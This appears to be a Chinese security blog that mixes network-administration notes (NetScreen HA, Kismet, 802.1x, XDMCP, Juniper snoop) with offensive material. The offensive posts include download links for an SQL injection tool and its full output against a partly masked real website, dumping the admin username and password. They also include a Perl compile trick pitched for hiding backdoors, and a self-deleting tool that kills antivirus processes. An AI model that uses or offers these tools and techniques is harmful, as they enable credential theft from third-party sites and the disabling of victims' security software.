
两天前在客户那里演示SQL注入,其中有位“扫描器爱好者”向我提到是否能使用PROXY,其实Acunetix Web Vulnerability Scanner这样的大软件一早就就有这功能了(不过nsfocus的极光与venus的天镜都是没这功能的。。。感觉上这功能应该是会HAX0R准备的吧?!),所以我就加了这组件上我的“get”里,使用者可以选择使用PROXY或否,新版本号1.9,源码结构没大变化,只是加了个组件的方法而已。。。希望有用处,下载地址:
http://demonalex.3322.org/get1_9.rar
一直有朋友问我PERL程序如何在运行时不显示CMD窗体,其实这种应用只不过是为了满足大家用PERL写后门或是其他什么东西时不会弹出个奇怪的CMD窗体而已。。。我一直都认为这能在PERL解释器加载项又或是程序调用中解决这问题,直到最近要调试“黄老太”时才开始考虑这问题,最后找到的解决方案是在perlapp程序编译时解决的,例如我现在写个删除c:\ccc.txt的程序:
#!/bin/perl -w
use Win32::FileOp;
Win32::FileOp->Delete("c:\ccc.txt");
exit 1;
默认的话会跳出个CMD(闪一下吧。。。),我把这个文件保存在c:\test.pl,用perlapp编译,格式:
C:\>perlapp -f --gui test.pl
PerlApp 6.0.2 build 203380
Copyright (C) 1998-2005 ActiveState Corp. All rights reserved.
ActiveState is a division of Sophos Plc.
Commercial license for demonalex <demonalex@gzpia.com>
Created 'test.exe'
现在我们在“开始”-》“运行”下输入“c:\test.exe”,回车,嘿嘿,现在屁都不会放一个了,在看看我们原来存在c:\ccc.txt还在不在?:P
黄老太v1.8
1)使用了底层的KILL接口(用哪个API就不说了:P)
2)有自杀功能,运行后自动删除自身
3)目前只支持NT及以上版本
4)只支持杀KV-江民。。。
5)速度还是慢。。。
下载:
http://www.i170.com/attach/515E5176-2B6A-4457-B76D-2E4D332B89FF
最后,发现查/杀毒软件是很顽固的。。。有时还杀不了(正常是能杀的)。。。有待考究。。。
最近买了本《黑客X档案》(2006年11月刊)回来看,看到了个关于可以在内存里“杀死”杀毒软件的工具---TechKiller(http://www.77169.org/Soft/HTML/17518.html),正好客户也向我问起这类型的东西。。。虽然思路已经很久了,但没有实施过,所以最近写了个模拟的东西出来,取名“黄老太”(因为写时觉得‘她’的工作原理有点像大超市---“百佳”很久以前的代言人“黄老太”有点相似),目前功能还很弱:
1)只能杀KV--江民的杀毒软件
2)速度比较慢[PS:还没优化。。。]
3)杀进程时还沿用WINNT的ntsd程序[PS:还没有空找底层接口做‘杀’进程],所以杀进程时大家可能会看到个窗口一闪而过。。。
因此有待优化,下面付上“黄老太”---hlt.exe version 1.0
http://www.i170.com/attach/5C548FD3-FCB9-4629-B6EF-3156A23F761D
C:\get>get.exe http://www.hXXXX.com.cn/news/1type.asp?news_id=433
**************************
* CopyRight By DemonAlex *
* demonalex@163.com *
**************************
"http://www.hXXXX.com.cn/news/1type.asp?news_id=433" have SQL Injection.
Now crack the table name...
Table: admin is exists !
Now crack the row name...
Row: user_pass is exists in Table: admin !
Row: user_name is exists in Table: admin !
Now crack length...
Table: admin -- Row: user_pass 's length is 10 !
Table: admin -- Row: user_name 's length is 5 !
Now crack the value...
h is 1 for Table: admin -- Row: user_pass !
a is 2 for Table: admin -- Row: user_pass !
o is 3 for Table: admin -- Row: user_pass !
d is 4 for Table: admin -- Row: user_pass !
i is 5 for Table: admin -- Row: user_pass !
a is 6 for Table: admin -- Row: user_pass !
d is 7 for Table: admin -- Row: user_pass !
m is 8 for Table: admin -- Row: user_pass !
i is 9 for Table: admin -- Row: user_pass !
n is 10 for Table: admin -- Row: user_pass !
a is 1 for Table: admin -- Row: user_name !
d is 2 for Table: admin -- Row: user_name !
m is 3 for Table: admin -- Row: user_name !
i is 4 for Table: admin -- Row: user_name !
n is 5 for Table: admin -- Row: user_name !
Now find the entry...
http://www.hXXXX.com.cn/login.asp is exists !
http://www.hXXXX.com.cn/logout.asp is exists !
http://www.hXXXX.com.cn/news/login.asp is exists !
http://www.hXXXX.com.cn/news/logout.asp is exists !
over.
HA搭建
-----------------------------------------------------------------------------------------------------------------------
[经验文]NS配置HA
writer: demonalex[at]dark2s[dot]org
前言:感谢好朋友成哥、神码许工、同事小黄的指导与帮忙。
两台设备的入口与出口做相同的配置,然后将一个或两个接口做HA的心跳线(用直联线连接,
接口的Zone配置为HA)。说明一下,心跳线用于控制(说明哪个是主设备,哪个是副设备)
与数据同步(所有配置,包括接口、路由、策略、VPN等等),可以使用一个接口/一条心跳
线,也可以使用两个接口/两条心跳线。
配置时有两种方法:
1)首先配置好主HA设备,然后将config文件DOWN下来,修改不同的部分,然后上传上副HA
设备上。
2)配置好主HA设备,然后配置副HA设备的HA组件,最好在副HA设备上执行同步命令(将主H
A的数据拷贝到副HA设备上)。
具体配置:
两台NS204,它们的eth1都连接交换机1,eth2都连接交换机2,eth3互连作HA,eth4互连
作HA。
主HA设备:
set interface ethernet3 zone HA #设置eth3为HA口
set interface ethernet4 zone HA #设置eth4为HA口
set nsrp cluster id 1 #建立一个id为1的nsrp群集
set nsrp rto-mirror sync #设备RTO镜像同步
set nsrp vsd-group id 0 priority 50 #设备本设备的优先级别,级别越低,优先级越高
set nsrp vsd-group id 0 preempt #自动争夺
set nsrp monitor interface ethernet2 #设置监视口-eth2
set nsrp monitor interface ethernet1 #设置监视口-eth1
副HA设备:
set interface ethernet3 zone HA #设置eth3为HA口
set interface ethernet4 zone HA #设置eth4为HA口
set nsrp cluster id 1 #建立一个id为1的nsrp群集
set nsrp rto-mirror sync #设备RTO镜像同步
set nsrp vsd-group id 0 priority 100 #设备本设备的优先级别,级别越高,优先级越低
set nsrp vsd-group id 0 preempt #自动争夺
set nsrp monitor interface ethernet2 #设置监视口-eth2
set nsrp monitor interface ethernet1 #设置监视口-eth1
本例用两个接口做HA(eth3、eth4);NSRP是NETSCREEN的HA专用协议,使用前必须
建立一个NSRP群集;RTO镜像用于主/副设备间切换同步;设置priority(优先级)参数是
为了区分哪一台是主设备,哪一台是副设备--最后的参数值越少,那台机器越优先(是主设
备);设置preempt(争夺)参数是很重要的,打个比方:默认情况下,当主设备掉线后,
副设备会自动切换为备用的‘主’设备,但若此时原来的主设备又正常连通了,备用的‘
主’设备是不会把‘主’权交还给原来的主设备的...若设置了preempt时情况就会相反;最
后需要将正常的通信接口加入到NSRP的‘monitor interface’中。
附属命令:
查看NSRP信息
get nsrp vsd-group all
副设备同步主设备的所有数据
exec nsrp sync global-config save
-----------------------------------------------------------------------------------------------------------------------
VIP NAT
http://www.i170.com/attach/5D96C0D5-66ED-4015-B26A-8350D9444AA6
arp -a后显示多个IP同一MAC地址的可能
1)一张网卡绑定了多个IP地址。使用网卡的‘别名’功能可以绑定多个IP。
2)进行了NAT地址映射处理。使用类似NETSCREEN中的MIP、DIP、VIP都因为
映射的问题将多个IP地址绑定在进行了NAT处理的网卡接口上。
3)进行了ARP欺骗攻击。通过数据链路层缺乏真实性认证的特性进行欺骗从
而达至中间人攻击的可能,这样的攻击应用在二层网络也会导致多个IP对应
同一MAC地址的可能。
LINUX服务端:
vi /etc/X11/xdm/Xaccess
删除#*前的#注释。
vi /etc/X11/gdm/gdm.conf
保证:
[xdmcp]
Enable=true
Port=177
存在。
vi /etc/inittab
保证:
id:5:initdefault
x:5:respawn:/usr/bin/gdm
存在。
vi /etc/X11/xdm/xdm-config
在DisplayManager.requestPort:0前加!符号注释了它。
禁用防火墙服务或添加允许访问UDP177的规则都可以。
重新启动系统。
XMANAGER端:
打开Xbrowser程序,新建一个会话,参数:
XDMCP
Method:Indirect
Host:《输入你的LINUX端IP》
Por Number:177
X Server:Auto Select
Allocate display number automatics
按Finish确认后,对该新生成图标按右键,选择“Open”,完成。
参考文档:
http://www.ccw.com.cn/server/yyjq/htm2005/20050906_0994B.htm
资源:Xmanager 2.0 Enterprise
[工具文]无线利器Kismet基本使用 writer: demonalex[at]hackermail[dot]com 环境 系统:RedHat Fedora Core 2 WNIC:标准Atheros/802.11G/PCI无线网卡 驱动:madwifi-ng-r1531-20060427 编译器:gcc version 3.3.3 20040412 (Red Hat Linux 3.3.3-7) 安装Kismet #cd /usr/local/sbin #wget http://demonalex.3322.org/download/wireless/kismet-2006-04-R1.tar.gz #tar -zxvf kismet-2006-04-R1.tar.gz #cd kismet-2006-04-R1 #./configure --disable-setuid #make dep #make && make install 配置Kismet #cd /usr/local/etc #vi kismet.conf 编辑: suiduser=root source=madwifi_ag,wifi0,Atheros :wq 若需要在SHELL下使用curses模式运行的话: #vi kismet_ui.conf 编辑: gui=curses :wq 启动Kismet 首先必须激活WNIC,然后让WNIC处于混杂模式: #modprobe ath_pci #ifconfig ath0 up #wlanconfig ath0 destroy #wlanconfig ath0 create wlandev wifi0 wlanmode monitor 最后运行kismet脚本: #kismet 之后就能成功进入Kismet界面了。 使用Kismet 个人比较喜欢在X下跑panel模式,在GNOME下开一个Shell Terminal,输入kismet后 按回车进入kistmet的panel模式界面:这里我们已经可以看到在这个覆盖区内的802.11信号源了,按空格后进入主视图。P S:网上盛传Kismet因为使用被动的扫描模式,因此能获取到已经“禁用SSID广播” 的AP的SSID,但我实验后发现不然,郁闷... 首先我们需要进入“选择”的视图:按‘s’然后按‘c’,此时你就可以使用上下按 键切换各通信条目了:
选中你要查看的条目按回车后就可以获取到该条目所对应的STA信息:
按‘q’回到“选择”的视图,再按‘c’就可以查看到该WLAN内所有的客户端的详 细信息了:
来到这一步我们可以获得两个有用的信息:若AP启用了MAC地址访问控制列表的话, 能“使用”的MAC地址是什么;该WLAN所使用的IP段是多少(这类型的信息是依靠 捕捉ARP包来实现的)。其实还有三个比较有趣的功能,在“选择”的视图下: 按‘a’ =》 显示统计信息 按‘d’ =》 Dump出目前通信的ASCII内容 按‘r’ =》 显示该通信的实时流量图 按‘w’ =》 显示报警信息 按‘p’ =》 显示802.11帧实时嗅探器 退出Kismet 在主视图或“选择”的视图下按‘Shift’+‘q’就可以安全退出Kismet了。
Kismet的任务日志输出 Kismet的任务日志默认保存在进程执行者(/usr/local/etc/kismet.conf中的suidus er)的私有目录下,如: [root@alex5 root]# ll|grep Kismet -rw-r--r-- 1 root root 0 Oct 6 20:21 Kismet-Oct-06-2006-7.cisco -rw-r--r-- 1 root root 1173 Oct 6 20:46 Kismet-Oct-06-2006-7.csv -rw-r--r-- 1 root root 204800 Oct 6 20:50 Kismet-Oct-06-2006-7.dump -rw-r--r-- 1 root root 0 Oct 6 20:21 Kismet-Oct-06-2006-7.gps -rw-r--r-- 1 root root 1652 Oct 6 20:46 Kismet-Oct-06-2006-7.network -rw-r--r-- 1 root root 0 Oct 6 20:21 Kismet-Oct-06-2006-7.weak -rw-r--r-- 1 root root 6776 Oct 6 20:46 Kismet-Oct-06-2006-7.xml 其中,‘Kismet-月-日-年-任务号.dump’是Kismet在任务进行时实时保存的、tcpdu mp格式的帧数据文件,Kismet实时写入信息的间隔可以在/usr/local/etc/kismet.co nf中设置,默认为: writeinterval=300 单位为‘秒’,若将此值设置为0时则表示禁用此功能。 其它的文件会在任务结束时(即是正常退出Kismet时)写入信息,这些信息大多用于 数据统计,其对应的内容为: cisco =》 CISCO的CDP协议广播统计信息 csv =》 以CSV的格式保存‘检测到的网络’信息 gps =》 GPS(全球定位系统)的输出信息 network =》 保存‘检测到的网络’信息 weak =》 保存了用于WEP破解的缺陷数据包(以airsnort格式保存) xml =》 保存了上述的network与cisco的日志(以XML格式保存) 关于设置日志输出种类的增减,可以通过更改/usr/local/etc/kismet.conf文件中lo gtypes的值来指定。另外,若在Kismet进程/任务退出时Kismet没有捕捉到任何weak 信息的话,weak日志文件是会在Kismet退出时自动删除的。
全文在:http://demonalex.3322.org/compile_pl/index.html
打包下载:http://www.i170.com/attach/423C5AAA-0751-4742-985C-2909726B18AC
不足之处欢迎大家指出:)
[理论文]关于802.1x的生存期问题
writer:demonalex
前言:关于本文的这两个概念问题偶是在项目中因为客户的需求而“发掘”出
来的,错误之处还请指出,另外非常感谢广东省LINUX中心的高级工程师龚关先
生给予我在技术上的指导与支持。
这里说的“802.1x的生存期问题”主要包括两个概念:
1)帐号的生存期
2)帐号的使用期
经常有人会把这两个概念弄混。帐号的生存期是指该帐号在Radius中的有效期,
而帐号的使用期是指该帐号在进行ESTABLISHED的有效期。打个比方吧,一个合
法用户正常登陆802.1x的网络时,若其帐号的生存期结束的话,他的连接不会
断开,但若他退出网络再重新接入的话,他的帐号就不能再用了(换句话说就
是无法登陆网络了);但若该帐号的生存期还没结束,但使用期结束了的话,
实质是:网络连接自动断开,但在RADIUS服务上该帐号还是可用的。
上面的分析大概说出它们之间的区别,但如果是对此两者进行控制又是怎样进
行呢?这才是我们需要探讨的。我的实验环境是基于目前最常用的环境--FreeR
adius+Mysqld这对“好拍挡”的。关于帐号的生存期是通过Mysqld中的radius
数据库下的radcheck表来进行管理的,我们通常是直接通过修改“:=”列的值
为“==”或把帐号行删除/清空的方式来禁用帐号的,但如果是实现‘自动化杀
死’帐号(到某个时间段帐号自动失效)呢?FreeRadius本身是没有这样的功
能,在这里我是通过使用cron/crond来进行操作的。举个例子,我要设置每日
内新增的802.1x帐号的生存期都只有一天的话:
#################################################
在/etc/crontab中添加:
* 0 * * * root yes|/etc/raddb/initdb.sh&
initdb.sh的内容为:
#!/bin/bash
#数据库管理员为root,密码为123456。
db_dir="/etc/raddb"
mysqladmin -uroot -p123456 drop radius
mysqladmin -uroot -p123456 create radius
mysql -uroot -p123456 radius < $db_dir/db_mysql.sql
#################################################
原理很简单,首先删除FreeRadius附属的radius数据库,然后再新建一个,并
把radius数据库的结构(/etc/raddb/db_mysql.sql)重新导入,把这个过程通
过cron/crond的方式设置在每天的零时执行。
剩下的就是帐号的使用期问题了,根据Radius协议在IETF制订协议机制时就已
经明确声明了Radius是AAA服务器,并不能干预802.1x连接客户端与NAS端之间
已经处于ESTABLISHED状态的链路通信(Radius的作用只是在当802.1x连接客户
端向NAS端发送身份鉴别请求时,由NAS端向RADIUS转发这些身份鉴别信息,若
身份验证通过则RADIUS‘告诉’NAS端该客户端‘能连接’,否则则‘不放行’
),因此控制帐号的使用期与Radius的设置是无关的。再想想,如果要一个链
路层通信自动断开的话,最常见的方法还是让此通信的两端中的其中一端主动
断开,让客户端自动断开估计是不可行的了:P,因此只能在NAS端上做设置了。
目前工业上最常用的方法是在支持802.1x的交换机上设置一个“重新认证”的
时间周期,一旦客户端的连接时间超过这个周期则自动断开,强制使客户端用
户重新认证。但上述的方法只支持有线环境(支持802.1x的交换机),但应用
在无线环境下(使用支持802.1x的AP)就有困难了,因为目前大多数支持802.
1x的AP的生产商都还没有考虑到这一点,用无线802.1x环境的兄弟们就再等等
吧。
[转载]经验技巧:Juniper防火墙命令行查错工具(snoop)
writer:gzszhao001
Snoop 是Juniper防火墙另外一个有效的查错工具,它和debug flow basic的区别是: snoop类似于在防火墙的接口上抓包,可以根据具体接口, 数据包的方向, 协议等等要素进行过滤抓包; debug flow basic则对数据包如何穿越防火墙进行分析,将防火墙的对数据包的处理过程显示出来.
Snoop的使用举例如下:
1. 先设置过滤列表,使得防火墙只对需要的数据包进行分析. 即snoop filter命令:
ns208-> snoop filter ?
delete delete snoop filter
ethernet snoop specified ethernet
id snoop filter id
ip snoop ip packet
off turn off snoop filter
on turn on snoop filter
tcp snoop tcp packet
udp snoop udp packet
ns208-> snoop filter ip ?
<return>
direction snoop direction
dst-ip snoop filter dst ip
dst-port snoop filter dst port
interface interface name
ip-proto snoop filter ip proto
port src or dst port
src-ip snoop filter src ip
src-port snoop filter src port
<IPv4 Address> IPv4 Address
offset ip offset
ns208-> snoop info
Snoop: OFF
Filters Defined: 2, Active Filters 2
Detail: OFF, Detail Display length: 96
Snoop filter based on:
id 1(on): IP dir(I)
id 2(on): IP dst-ip 172.27.68.1 dir(B)
2. 开启snoop 进行抓包
ns208-> snoop
Start Snoop, type ESC or 'snoop off' to stop, continue? [y]/n y
3. 发送测试数据包或让小部分流量穿越防火墙
4. 停止snoop
ns208-> snoop off
5. 检查防火墙对所转发的符合过滤条件的数据包的分析结果(非采用上面的filter,而是采用另外的filter):
ns208-> get db stream
1. The packet comes into the Netscreen from the Trusted side client.
55864.0: 0(i):005004bb815f->0010db00ab30/0800
10.0.0.36->10.10.10.14/1, tlen=60
vhl=45, id=31489, frag=0000, ttl=32
2. The packet then leaves the Netscreen, on it’s way to the destination host.
55864.0: 1(o):0010db00ab31->00104bf3d073/0800
10.10.10.10->10.10.10.14/1, tlen=60
vhl=45, id=31489, frag=0000, ttl=31
3. The packet then returns to the Netscreen from the host.
55864.0: 1(i):00104bf3d073->0010db00ab31/0800
10.10.10.14->10.10.10.10/1, tlen=60
vhl=45, id=12289, frag=0000, ttl=128
4. Finally, the packet is returned to the client on the trusted side.
55864.0: 0(o):0010db00ab30->005004bb815f/0800
10.10.10.14->10.0.0.36/1, tlen=60
vhl=45, id=12289, frag=0000, ttl=127
6. 清除防火墙缓存的debug结果:
ns208-> clear db
7. 清除防火墙的snoop过滤设置
ns208-> snoop filter delete
All filters removed
不知道这个时间段算不算凌晨呢???还在公司里...一边听迪克牛仔的歌、一边做实验...好困,但是不能睡着,上来发一LOG吧...
写下了一篇迷惑自己的东西...
小谈NetScreen下“区域”与“路由”、“策略”之间的误区 writer:demonalex 前言:本文纯粹乱弹,错误之处还请指出,谢谢:) 几天前因为项目的需要弄来了一台NetScreen ISG2000做测试,半年前因为没有在项目中跟师傅好好学习这 东西,所以还是“半桶水”(可能半桶水都没有),最近领悟到了一些东西,记录下来吧,弄成本文。 这里需要弄清楚三个很灵活的概念:区域、路由、策略。
“区域”这个概念是NetScreen自己定的,它是很多NetScreen设置操作上所使用的单位。这个参数是在每 个物理接口属性设置的(主菜单->Network->Interfaces),也可以通过: ->set interface 接口号 zone 区域类型名 更改,常见的区域有Trust与Untrust。这里有一些需要切记的准则: 1)默认Trust与Untrust区域都是挂载在trust-vr虚拟路由上的; 2)若我们把两个物理端口同时挂载在Trust区域时,它们之间就能直接访问了(也就是说路由与策略默认 都是全通了); 3)但倘若我们把两个物理端口同时挂载在Untrust区域时,它们之间是不能直接互访的(路由通,但策略 不通),需要添加“对象:Untrust->Untrust、地址:Any->Any、行为:Permit”的策略才能互访; 4)但若把两个物理端口分别挂载在Trust与Untrust两个区域时,即使它们之间的路由是通的(这个不需要 任何配置,因为它们默认就都在同一张路由表上---Trust虚拟路由表),也是不能互访的,需要在Policie s上添加互访的策略(也就是说它们的策略默认是“全部不通”的)。 “路由”在NetScreen中被命名为虚拟路由,默认有trust-vr与untrust-vr。设置虚拟路由表有多种方式, 其设置可以在WEB UI上主菜单的Network->Routing中找到。关于当前路由与区域的对应关系可以在WEB UI 上的Network->Binding上找到(其实这些对应关系是可以由我们可以设置的)。有一点是需要注意的:在 屏蔽其它因素(主要是“策略”的因素)的情况下,在同一虚拟路由表下的所有物理端口间的路由都是全 通的。 “策略”大多用于包过滤、NAT的功能实现上。我们可以直接通过WEB UI上主菜单的Policies进行设置,它 主要是“区域”作为对象单位的。当需要配置跨区域互访与网络地址NAT伪装时就一定要用到它。这里有两 个例子: 1)当要配置Trust区域的物理端口与Untrust区域的物理端口的网段互访时需要添加两个规则: 规则一: 对象:Trust->Untrust 地址:Any->Any 行为:Permit 规则二: 对象:Untrust->Trust 地址:Any->Any 行为:Permit 2)配置Trust区域通过伪装的方式连通Untrust区域: 对象:Trust->Untrust 地址:Any->Any 高级(规则设置界面的“Advanced”按钮激活):Destination Translation地址设置为Untrust的网段 行为:Permit
原文在:http://demonalex.3322.org/netscreen/zone_route_policy.txt
希望对没碰过NS产品的同志有所帮助...:)
首先热烈庆祝卓讯盟公司第一届广东移动安全咨询技术研讨高峰会在东莞顺利举行:)
在会中客户提到了最近网络内出现"传奇木马"蠕虫通过ARPSPOOF攻击导致经常断线的问题,这里我们提议使用"欣全向ARP工具"来进行检测,下载地址:
http://www.nuqx.com/downcenter.asp
从网上GOOGLE到的清除方法:
该木马一共有三个文件,分别是: C:WINNTSystem32LOADHW.EXE ,C:WINNTSystem32msitinit.dll ,C:WINNTSystem32drivers pf.sys。LOADHW.EXE是一个安装文件,在会把自己注册在: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce 如果它被删除掉,并不影响木马的运行,只是在开机时会报该文件不存在。 msitinit.dll是常驻内存的,但注册表中并没有记录它(很狡猾)。 npf.sys注册为一个服务程序,且在“控制面板->管理工具->服务”中看不到,要在注册表中才能看到: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNpf 解决方法:重新启动,按f8,选进入安全模式,在里面杀毒。点开始里的搜索查找Loadhw.exe,Msitinit.dll,Npf.sys文件,找到了就删除。查找注册表的loadhw.exe,Msitinit.dll,Npf.sys找到了就删除。
Powered by Haiwit